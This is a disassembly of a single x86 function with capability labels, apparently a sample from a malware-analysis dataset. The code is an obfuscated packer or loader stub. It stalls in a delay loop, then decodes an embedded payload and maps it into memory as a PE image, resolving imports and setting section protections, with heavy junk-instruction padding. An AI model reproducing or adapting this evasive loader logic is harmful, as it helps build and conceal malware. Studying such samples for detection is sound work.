Function at 0x401dcd
Capabilities:
Create thread
Encode data using base64
Enumerate pe sections
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x4999c
call fcn.00406070
sub esp, eax
sbb edx, 0x73
dec eax
rcl edi, 5
rcr edi, 0x22
rcr esi, 0xf0
or esi, 0xc5
inc edx
rcr edi, 0x8c
rol eax, 0xcd
mov ebx, 0x68
or edx, 0x29
rcl ebx, 0xfc
sbb edi, 0xda
bswap eax
neg esi
sbb edx, 0x80
not eax
not eax
bswap esi
rol edx, 0xd8
not edi
rol edx, 0x6d
add esi, 0x99
add esi, 0x25
sbb ebx, 0x77
bswap eax
rol ebx, 0xfc
sbb edi, 0x30
mov esi, 0xfd
mov edi, 0xe1
rol ebx, 0x28
and ebx, 0x25
and edi, 0x80
add esi, 0x21
not edi
add edx, 0x2f
add esi, 0xf7
imul edi
inc eax
rcl edx, 0x98
not edi
bswap edx
dec eax
neg edx
ror edx, 0x34
not edi
dec esi
not eax
not esi
bswap esi
sbb eax, 0xda
bswap ebx
neg ebx
inc eax
dec edx
ror ebx, 0x29
bswap eax
not ebx
rol eax, 0x26
imul edx
neg edi
rcr ebx, 0xe1
dec edx
rcr ebx, 0xe9
inc ebx
inc ebx
and esi, 0x9a
not eax
rcl ebx, 0xd4
neg edx
rcl esi, 0x2f
sbb ebx, 0x42
imul ebx
inc esi
sub edi, 0xd1
rol edx, 0x67
rol esi, 0xf2
ror esi, 0x31
sub edi, 0x4b
rcr edi, 0xc0
bswap esi
rcr ebx, 0x10
not ebx
dec edi
and edi, 0xf3
sbb esi, 0x57
sub esi, 0xea
imul eax
neg eax
sub edx, 0x94
neg edi
imul esi
or eax, 0x30
not edx
not edx
and esi, 0xdd
add esi, 0xa3
not esi
mov esi, 7
rcr ebx, 0x5b
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
dec esi
dec esi
inc esi
rcr edi, 0x2e
rcl ebx, 0xfe
sbb ebx, 0x5d
dec edi
ror ebx, 0x2c
rcl eax, 0x67
rcr edi, 0x40
rcr esi, 0xa1
mov edx, 0xab
and eax, 0x77
dec esi
sbb esi, 0x75
rcl ebx, 0xa9
add edi, 0xb9
rol edi, 0xa6
sub edi, 0xfd
ror edx, 0x7f
neg esi
and edi, 0x26
bswap edi
dec edi
inc edx
dec esi
inc edx
and edx, 0xab
rcr esi, 0x4b
sbb edx, 0xa8
sub esi, 0x26
rcr esi, 0x74
mov eax, 0xb9
rcl esi, 0x39
and esi, 0x60
imul ebx
inc esi
add esi, 0x50
bswap esi
bswap esi
sub eax, 0x67
dec edi
neg eax
and eax, 2
or eax, 0x72
bswap esi
inc eax
bswap esi
sbb edi, 0x98
sub edx, 0x4e
add eax, 0x90
sbb esi, 0x1b
imul edx
sbb ebx, 0x90
inc eax
add ebx, 0x72
bswap eax
rcr ebx, 0x2a
and ebx, 0xa
rol esi, 0x12
or edx, 0xbc
bswap esi
inc eax
dec eax
rol edx, 0x5a
rcl esi, 0x9a
inc edi
rcl edi, 0xd5
sub edx, 0x3a
mov eax, 0x65
or edi, 0xd8
add eax, 0x9a
ror edi, 0x93
mov ebx, 0x44
neg eax
neg esi
not eax
rcl ebx, 0xb2
mov ebx, 0x9d
dec eax
bswap esi
sbb esi, 0xb2
dec eax
neg eax
sub edx, 0x67
add eax, 0x6b
neg ebx
imul edi
neg edi
rcr edx, 0xca
mov esi, 0x60
not edi
inc eax
dec edx
sbb edi, 0x71
add eax, 0x3e
imul edi
neg eax
sbb ebx, 0xd3
rol esi, 0x6b
neg edi
bswap eax
ror edi, 0xcd
mov esi, 0xa7
bswap edx
sub edi, 0x1e
sub edi, 0x67
imul edx
and eax, 0xe0
sub edx, 0xdc
inc esi
inc edi
inc edx
inc edx
bswap esi
rol eax, 0x73
dec esi
imul eax
dec edx
add edi, 0x3d
imul ebx
inc edi
sub esi, 0x43
inc edx
rcl edi, 0xb8
sub ebx, 0x94
inc eax
add eax, 0x24
imul edx
or edi, 0xf2
neg esi
not ebx
neg edi
mov eax, 0xd6
imul edx
or eax, 0x1c
bswap eax
neg esi
add edi, 0x19
sbb ebx, 0xd
neg edx
or edx, 0x22
bswap eax
rcr eax, 0x1e
dec ebx
bswap esi
imul edx
bswap ebx
or esi, 0xf7
add eax, 0x66
mov dword [ebp - 0x20], 0
jmp 0x4020be
add dword [ebp - 0x1c], 1
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x5f740a4
jle 0x4020b6
cmp dword [ebp - 0x1c], 0x5f740a5
jne 0x40396f
lea eax, [ebp - 0x498c0]
mov edx, 0x456074
mov ecx, 0x49800
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0x49800
lea eax, [ebp - 0x498c0]
mov dword [esp], eax
call sym.xjrqowjcrpoqwjrvkjqwkrzoqwbrbqiwv_char__int_
lea eax, [ebp - 0x498c0]
mov dword [ebp + 8], eax
rol ebx, 0x78
ror edi, 0x38
sbb eax, 0x96
not esi
or esi, 0xcb
mov ebx, 0x51
inc edi
rcl edx, 0x8c
and edx, 0x3e
add ebx, 7
bswap eax
sub esi, 0x61
mov eax, 0x5e
dec esi
neg ebx
inc edi
and edx, 0x1a
or ebx, 0xef
inc eax
add eax, 0xb2
bswap eax
sub eax, 0xd2
sub eax, 0x95
add eax, 0x37
ror edi, 0x2b
dec ebx
bswap edx
not esi
rol ebx, 0xd6
neg ebx
rcl eax, 2
not edx
inc edi
not edi
add ebx, 0xa0
sbb ebx, 0x12
sbb edi, 0xdb
neg eax
dec esi
dec ebx
rcl edx, 0x23
or ebx, 0x79
ror edx, 0x3b
not eax
inc edx
neg ebx
and eax, 0xf7
rcr edx, 0xc
imul esi
rcr edx, 0xf9
dec edx
or esi, 0xe0
inc edx
dec ebx
rcr eax, 0x34
not ebx
neg eax
inc esi
neg edi
or edx, 0x61
not ebx
or esi, 0xbe
or eax, 0xa
not esi
rcl eax, 0x7a
dec edi
not edi
rol eax, 0x97
sbb eax, 0xb1
bswap esi
imul edx
bswap eax
ror esi, 0xa
mov edx, 0x5f
neg ebx
sub esi, 0x53
not esi
dec edx
ror eax, 0x95
sbb eax, 0x74
neg ebx
rcr esi, 0x30
bswap edx
neg edi
sbb ebx, 0xbe
mov eax, 0x43
rcl eax, 0xdf
ror edi, 0x65
or ebx, 0xed
dec ebx
inc eax
neg eax
rcr edx, 0xb7
rcl eax, 0x57
bswap eax
inc edx
ror esi, 0xdd
add ebx, 0xbd
bswap edx
sbb ebx, 0x7f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x50], eax
and ebx, 0x90
rcl esi, 0x8d
not esi
rol esi, 0x4d
sbb ebx, 0xc4
or ebx, 0xfb
inc eax
sbb edi, 0xa1
imul esi
and eax, 0xca
rcl eax, 0x3a
dec esi
dec edx
add edi, 0x62
mov ebx, 0xc2
neg edi
ror ebx, 0x29
bswap esi
inc esi
mov edi, 0x4c
bswap esi
inc esi
and esi, 0xbf
or edx, 0x8c
bswap eax
mov ebx, 0xc7
not edx
mov edi, 0x56
mov ebx, 0xbd
add esi, 0x38
sub ebx, 7
rcr edx, 0xcd
rcr ebx, 0x6b
rcl eax, 0x60
not edi
and edi, 0x41
imul esi
ror esi, 0xdf
or ebx, 0x9c
not edi
neg ebx
imul eax
imul edx
imul esi
imul esi
ror ebx, 0x20
neg ebx
not ebx
or esi, 0x9b
neg esi
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4022f6
mov eax, 1
jmp 0x403974
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
lea edx, [ebp - 0x4997c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
rol ebx, 0xe0
add eax, 0x83
sbb edi, 0x56
rcl edi, 0xf1
sub eax, 0xb
imul edi
not eax
neg ebx
neg edi
inc eax
inc ebx
dec edx
rcr eax, 0x53
ror esi, 0x8d
rol ebx, 0xb5
not edi
imul eax
or eax, 0x56
or eax, 0x2a
dec esi
rol ebx, 0x8c
imul esi
rol esi, 0xdd
dec esi
and eax, 0x3f
sub edi, 0x76
mov eax, 3
or eax, 0xdb
rcl esi, 0x36
neg eax
dec edi
and edi, 0x8d
and eax, 0x4b
ror ebx, 0xbf
inc ebx
dec edi
not ebx
inc edx
neg edx
not esi
rcr edi, 0xba
add edx, 0xa
rol eax, 0xf1
rol ebx, 0x97
add esi, 0x96
bswap ebx
rcl edx, 0xf6
not eax
imul eax
and eax, 0x5d
mov dword [ebp - 0x4997c], 0x44
mov eax, dword [ebp - 0x50]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], edx
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x50]
mov edx, dword [ebp - 0xb0]
test edx, edx
jne 0x4023f1
mov edx, dword [ebp - 0x50]
mov edx, dword [edx + 0x34]
jmp 0x4023f6
mov edx, 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x402439
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x54], eax
je 0x402439
mov eax, 2
jmp 0x403974
dec ebx
dec eax
not eax
bswap ebx
inc edx
neg ebx
not esi
mov edx, 0x5f
inc edx
ror edi, 0xe1
not eax
not edx
ror esi, 0x33
dec edi
inc edx
ror esi, 0x88
dec esi
and edi, 0xab
add esi, 0x5e
rcr edi, 0xd4
neg edx
rcl ebx, 0x3c
ror esi, 0x59
mov edi, 0xf8
bswap ebx
not edx
dec edi
dec eax
sub esi, 1
rol eax, 0xb1
not edi
bswap edi
not edx
rol eax, 2
sbb esi, 0x13
rcl edx, 0x4e
inc ebx
inc edi
inc eax
sbb edi, 0xea
not edx
ror esi, 0x84
inc edi
or eax, 0xfa
neg edx
sbb edx, 0x55
dec edi
bswap edi
add edx, 0x99
imul edi
sub ebx, 0xf5
add esi, 0x2a
rol eax, 0x63
neg ebx
not ebx
dec edi
not eax
inc edi
imul eax
inc edx
add eax, 0xd6
add eax, 0x78
ror ebx, 1
imul eax
and eax, 0xb8
dec eax
add edi, 0x55
bswap edx
rol ebx, 5
sbb ebx, 0xa2
not ebx
bswap esi
bswap edi
rcl eax, 0xfd
inc ebx
inc eax
rcr esi, 0x89
not edi
mov esi, 0x35
sbb edx, 0xa2
inc edx
rcr edx, 0xf6
add esi, 0x35
rcr eax, 0xde
bswap eax
mov esi, 0xca
imul eax
sbb eax, 0x44
ror ebx, 0x2f
bswap esi
ror eax, 0x8d
rcr esi, 0x77
bswap eax
and eax, 0xb0
not edi
bswap ebx
and edi, 0xed
rcl edx, 0x11
inc edi
dec edx
neg esi
rcr edx, 0x36
not eax
neg eax
or eax, 0xf3
ror edi, 0x13
neg edx
and esi, 0x41
not edx
imul eax
sbb eax, 0xaa
dec edx
neg esi
rol edi, 0xc9
not ebx
rcl ebx, 0xaa
rol esi, 0x95
mov edi, 0x7d
and ebx, 0xe6
mov esi, 0x38
not esi
rol edx, 0x33
sbb esi, 0x62
not edx
sub edi, 0x50
ror edi, 0x40
dec ebx
inc esi
inc edi
rcr edi, 0x89
dec esi
rcl esi, 0x6e
sub ebx, 0x4e
dec edi
or eax, 0xed
neg ebx
sbb edx, 0x77
dec ebx
sbb ebx, 0x8f
bswap ebx
sbb edx, 0xad
rcl ebx, 1
rcr eax, 0xc7
rcl esi, 0xf4
sub ebx, 8
or ebx, 8
dec edi
rol edx, 0xac
rcr esi, 0xb0
imul edi
mov eax, dword [ebp - 0x54]
mov dword [esp + 8], 0x400
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
or ebx, 0xec
inc edx
and ebx, 0x48
inc edx
bswap edi
neg edx
sub eax, 0xac
not esi
neg ebx
dec ebx
ror edi, 0x73
and ebx, 0x3d
imul edx
inc ebx
sbb esi, 0x4e
imul edx
add edx, 0x71
or edx, 0x1c
ror eax, 0xa9
dec eax
rol edx, 0x31
inc eax
add ebx, 0x23
sbb edi, 0x6a
ror ebx, 0x57
sub ebx, 0xd3
imul esi
and edx, 4
or edx, 0xb1
not ebx
dec edi
add ebx, 0x8f
sbb edi, 0xb7
dec eax
not ebx
inc edx
add ebx, 0xe
sbb edi, 0x73
not esi
ror esi, 0x9e
inc edi
add edx, 0xa1
add edx, 0x88
neg esi
neg edx
sub eax, 0xb1
sbb ebx, 0x6e
dec ebx
add esi, 0xd4
imul esi
bswap edx
rol esi, 0x39
bswap edx
add edx, 0x79
rcl ebx, 0xa6
imul edx
imul esi
and esi, 0x2b
sub eax, 0x17
sub edx, 0x14
add edx, 0xb0
not eax
inc edx
sub edx, 0xa1
or edi, 0x96
rcl esi, 0x71
rol eax, 0xa7
neg edx
and esi, 0x46
mov edx, 0x9f
rcl esi, 0x33
dec edi
dec edx
dec ebx
rcl eax, 0x13
neg esi
inc ebx
not esi
inc edx
bswap edi
inc esi
sub ebx, 0xf7
neg edi
inc edi
sbb eax, 0x1c
imul edx
inc edx
neg edi
add edi, 0xd7
inc esi
neg ebx
dec edx
bswap eax
sbb ebx, 0xeb
sbb ebx, 0x5d
dec edi
not edi
not edx
sbb ebx, 0x33
ror ebx, 0x80
mov eax, 0xcc
rol eax, 0x54
mov esi, 0x6d
mov esi, 1
sbb esi, 0x32
sub eax, 0x9f
ror esi, 0x5b
bswap ebx
add edi, 0x8e
sub esi, 0xbb
sub ebx, 0x9f
and esi, 0x55
dec ebx
inc ebx
rcr eax, 0xff
bswap esi
or eax, 0xa6
sub edx, 0xf
inc edx
inc eax
bswap edi
neg esi
neg esi
rcr eax, 0x58
dec eax
sbb ebx, 0xe
not ebx
not eax
dec esi
not eax
not ebx
imul eax
sbb edx, 0x38
or edi, 0xc5
inc edx
inc esi
rcr ebx, 0x57
bswap esi
or edi, 0x44
rcl edi, 0xd9
inc ebx
bswap edx
imul esi
or edi, 0x3c
imul edi
not eax
neg edi
rcr ebx, 0xa0
and edx, 0x44
not ebx
mov eax, dword [ebp - 0x50]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x50]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x24], 0
jmp 0x4027fd
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 8]
add eax, edx
mov ebx, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._memcpy
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x50]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x24], eax
jl 0x402798
rcl eax, 0xd7
rcl edi, 0x94
bswap eax
imul esi
dec edx
not edi
add esi, 0xa9
rol edx, 0xd8
rcr esi, 0x85
dec edx
rol ebx, 0xc0
dec eax
bswap eax
dec edi
sub edi, 0xb9
dec ebx
and eax, 0x86
and eax, 0xb
not edx
add edx, 0x3e
sbb eax, 7
or edx, 0x76
neg edx
inc edi
ror ebx, 0x87
and eax, 0x55
inc ebx
neg ebx
rcl edx, 0xbc
ror edi, 0x83
bswap edi
add edx, 0xb0
bswap eax
ror eax, 0x4c
imul ebx
or eax, 0xe
inc edi
rol edi, 0x1b
ror eax, 0xec
not eax
neg edx
mov edx, 0x6f
ror edi, 0xf
inc esi
sbb esi, 0x19
inc eax
not ebx
sub edi, 0x5d
rcl ebx, 0xf7
imul esi
dec eax
or ebx, 0xfc
sub edx, 0xe6
ror ebx, 0x4e
not edi
ror eax, 0xb7
inc eax
not eax
not esi
bswap edx
sbb esi, 0xb5
dec edx
imul eax
not edx
add eax, 0x81
neg edx
bswap edi
sbb edi, 0xbf
mov edx, 0x69
and esi, 0xa0
not esi
sbb esi, 0xee
rcl edx, 0xc5
sbb ebx, 0xc4
add esi, 0x42
or esi, 0xbd
rol eax, 0x3b
not ebx
bswap eax
bswap eax
not edi
mov eax, 0xc2
or eax, 0x46
dec edx
ror esi, 0xa3
rcl edx, 0xc6
add edi, 0x23
sbb ebx, 0xb1
bswap eax
neg esi
and ebx, 0x8b
bswap edx
mov edx, 0x51
inc edi
sbb ebx, 0x87
sbb edx, 0x1a
inc esi
dec edi
and edx, 0xdd
rcr esi, 0xe
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x54], eax
je 0x402a13
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x54]
sub edx, eax
mov dword [ebp - 0x5c], edx
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
jmp 0x402a02
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x28]
add eax, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
jmp 0x4029e6
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
shr ax, 0xc
movzx eax, ax
and eax, 3
test eax, eax
je 0x4029de
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov edx, eax
mov eax, dword [ebp - 0x60]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov ecx, eax
mov eax, dword [ebp - 0x60]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp - 0x5c]
add eax, edx
mov dword [ecx], eax
add dword [ebp - 0x30], 2
add dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x64]
jl 0x402995
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x2c]
cmp edx, eax
jb 0x402968
rcl edx, 0x4a
mov ebx, 0xcf
not edi
bswap ebx
imul eax
add edx, 0x35
bswap ebx
add eax, 0x18
or eax, 0x7b
rcr edi, 0x8e
neg esi
rol esi, 0x77
not eax
mov edi, 0xc3
and eax, 0x6e
inc edi
neg edi
neg edi
and edx, 0x4a
add eax, 0x70
add eax, 0x66
neg esi
add edx, 0xaf
not ebx
bswap edx
imul eax
rcl edx, 0x60
bswap edi
not edi
rol edx, 0xa7
rcr eax, 0x44
add edx, 0x6b
or edx, 0xa8
dec ebx
dec edx
not esi
sub ebx, 0x80
inc esi
dec edx
rcl edx, 0x2e
dec edx
sub esi, 0x76
add edx, 0x14
imul edx
and edi, 0x94
inc edx
dec ebx
sub eax, 0xae
or edx, 0x5a
not ebx
neg ebx
bswap eax
dec esi
imul ebx
imul edx
bswap edx
mov eax, 0x6b
ror edx, 0x5f
mov esi, 0x1b
inc edx
not edi
or edx, 0xf9
sbb ebx, 0x63
mov ebx, 0x4e
and edi, 0x68
and esi, 0x37
rcl edx, 0xe6
bswap ebx
imul ebx
not edi
ror ebx, 6
inc eax
neg edx
inc esi
dec eax
add edi, 0x7d
inc esi
sbb esi, 0xa7
rcl edi, 0xfe
dec edx
imul ebx
add eax, 0x96
rcl eax, 0x95
sub esi, 0x84
rol esi, 0x1f
inc ebx
inc esi
or esi, 0x60
bswap edi
sbb eax, 0xb4
ror edx, 0x87
ror edi, 0x6c
inc ebx
imul ebx
add esi, 0x20
add edx, 0x3a
mov edi, 0xb
bswap edi
rol ebx, 0x12
add eax, 0x26
sbb eax, 0x7e
and ebx, 0xbf
ror eax, 0xf5
and esi, 0x62
sub edx, 0x18
not ebx
bswap esi
rcl ebx, 0xd4
bswap ebx
not esi
rcl edx, 0xdd
not eax
sub eax, 0x6d
rol eax, 0xaa
or esi, 0x87
bswap esi
mov esi, 0x88
inc edx
not esi
neg eax
bswap edi
dec edi
sbb ebx, 0x88
ror eax, 0xc4
dec eax
dec edi
sbb ebx, 0xb
and edi, 0x46
or esi, 0xa7
and esi, 0x69
inc edi
bswap ebx
and edx, 0x75
add ebx, 0x87
not edx
dec edx
bswap edx
ror ebx, 0xb7
inc edx
bswap eax
rcl esi, 0xd
inc ebx
add eax, 0x91
inc edi
not ebx
sub edi, 7
ror edi, 0x36
inc ebx
rcr ebx, 0x95
neg eax
mov eax, dword [ebp - 0x50]
mov edx, dword [eax + 0x80]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x38], 0
jmp 0x402d07
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x68]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
je 0x402d02
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x68]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x3c], 0
jmp 0x402ce4
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x90]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x90]
add eax, edx
mov eax, dword [eax]
movzx eax, ax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x402cb5
mov eax, dword [ebp - 0x94]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x68]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x54]
add edx, eax
mov eax, dword [ebp - 0x3c]
shl eax, 2
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x40]
mov dword [edx], eax
add dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x90]
add eax, edx
mov eax, dword [eax]
test eax, eax
jne 0x402c3c
jmp 0x402d03
nop
add dword [ebp - 0x38], 1
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x68]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x402bc6
ror esi, 0xcc
bswap esi
rol edi, 0x16
inc esi
dec esi
neg ebx
rcl edi, 1
add esi, 0x3a
add edi, 0x36
imul edi
sub eax, 0xd9
neg esi
imul ebx
imul ebx
and edi, 0x5f
rcl eax, 0x7a
ror esi, 3
rol ebx, 0x5c
and eax, 0xac
rcr eax, 0x63
neg ebx
neg edx
inc edi
bswap esi
inc ebx
not esi
inc esi
bswap esi
rol esi, 0xdf
not esi
inc esi
sbb esi, 0x18
ror ebx, 0xa2
not ebx
dec eax
or ebx, 0x18
ror ebx, 0x9d
dec eax
sbb edi, 0x8e
sbb eax, 0x13
sbb edx, 0x18
rcl eax, 0x69
imul ebx
ror esi, 0x51
mov esi, 0xda
rcl esi, 0x2b
neg edx
ror ebx, 0xf7
and edx, 0x79
not eax
bswap ebx
neg ebx
not eax
sbb ebx, 0x1c
sub eax, 0xf1
dec ebx
neg edi
sbb edi, 0xe0
sub edi, 0x19
sbb esi, 0xc0
rcl esi, 0xab
bswap ebx
imul esi
rcr edx, 0x6c
neg eax
and edx, 0x41
bswap ebx
or esi, 0xf
add edi, 0x68
or eax, 0x95
imul eax
rcr esi, 0x7c
mov edx, 0x97
mov eax, 0x67
neg eax
dec edi
sub esi, 0x27
not edx
imul esi
imul ebx
dec edx
bswap edx
rcl edi, 0xe0
add edi, 0xb5
mov esi, 0xf2
dec eax
neg edx
and edx, 0x27
dec eax
add eax, 0xad
ror eax, 0x31
rcr edi, 1
imul esi
rol eax, 0xd8
not eax
neg eax
sbb edi, 0x82
dec eax
sbb esi, 0xae
rol eax, 0xb0
inc edi
or esi, 0xdf
neg esi
imul ebx
not eax
imul edx
add esi, 0xe3
neg ebx
rcl ebx, 0x48
rcl edi, 0x85
rcl ebx, 0x74
mov edx, 0
add eax, 0x8f
mov ebx, 0xc
inc edx
imul edx
rcr eax, 0x59
inc edx
dec ebx
bswap ebx
add esi, 0x85
mov eax, 0x9e
neg esi
imul eax
rol ebx, 0xc
inc esi
imul esi
imul edi
neg edi
inc edi
dec edi
not eax
sub eax, 0xd
not esi
rol edx, 0x39
ror esi, 0x73
imul edi
sbb edx, 0x59
ror ebx, 0xcd
sbb eax, 0x29
not ebx
or edx, 0x90
sub eax, 0x95
dec edi
rcl ebx, 0x3b
sbb edx, 0x5c
dec edi
sub eax, 0x66
inc edi
rol esi, 0xf3
mov dword [ebp - 0x44], 0
jmp 0x402fd4
mov dword [ebp - 0x48], 0x40
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
and eax, 0x40000000
test eax, eax
je 0x402f1f
mov eax, dword [ebp - 0x84]
test eax, eax
jns 0x402f1f
mov eax, dword [ebp - 0x84]
and eax, 0x20000000
test eax, eax
je 0x402f1f
mov dword [ebp - 0x48], 0x40
jmp 0x402f7e
mov eax, dword [ebp - 0x84]
and eax, 0x40000000
test eax, eax
je 0x402f41
mov eax, dword [ebp - 0x84]
test eax, eax
jns 0x402f41
mov dword [ebp - 0x48], 4
jmp 0x402f7e
mov eax, dword [ebp - 0x84]
and eax, 0x40000000
test eax, eax
je 0x402f68
mov eax, dword [ebp - 0x84]
and eax, 0x20000000
test eax, eax
je 0x402f68
mov dword [ebp - 0x48], 0x20
jmp 0x402f7e
mov eax, dword [ebp - 0x84]
and eax, 0x40000000
test eax, eax
je 0x402f7e
mov dword [ebp - 0x48], 2
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x54]
add eax, edx
mov edx, eax
lea eax, [ebp - 0xb8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym.MyVirtualProtect_void__unsigned_long__unsigned_long__unsigned_long_
add dword [ebp - 0x44], 1
mov eax, dword [ebp - 0x50]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x44], eax
jl 0x402eca
ror eax, 0xb4
inc ebx
mov edi, 0xe4
inc edi
sbb edi, 0x7d
imul edi
bswap esi
bswap eax
inc ebx
mov edx, 0xb8
bswap edx
dec esi
rcr eax, 0x9c
imul ebx
imul ebx
imul eax
sbb edi, 0xec
ror ebx, 0x68
rcr ebx, 0xe7
sub edi, 0x65
dec edx
dec esi
sbb eax, 0xb6
sbb edx, 0xf6
sbb esi, 0x4d
sub edi, 0x14
bswap edx
dec esi
neg esi
not edx
inc edi
rcr edi, 0x20
inc edx
imul esi
sub esi, 0xca
rcl eax, 0x64
mov esi, 0x6e
inc edi
ror edi, 0xc4
sub eax, 0x1f
sub edx, 0xeb
mov ebx, 0xe1
and edx, 0x62
or ebx, 0xc5
rol edi, 0x70
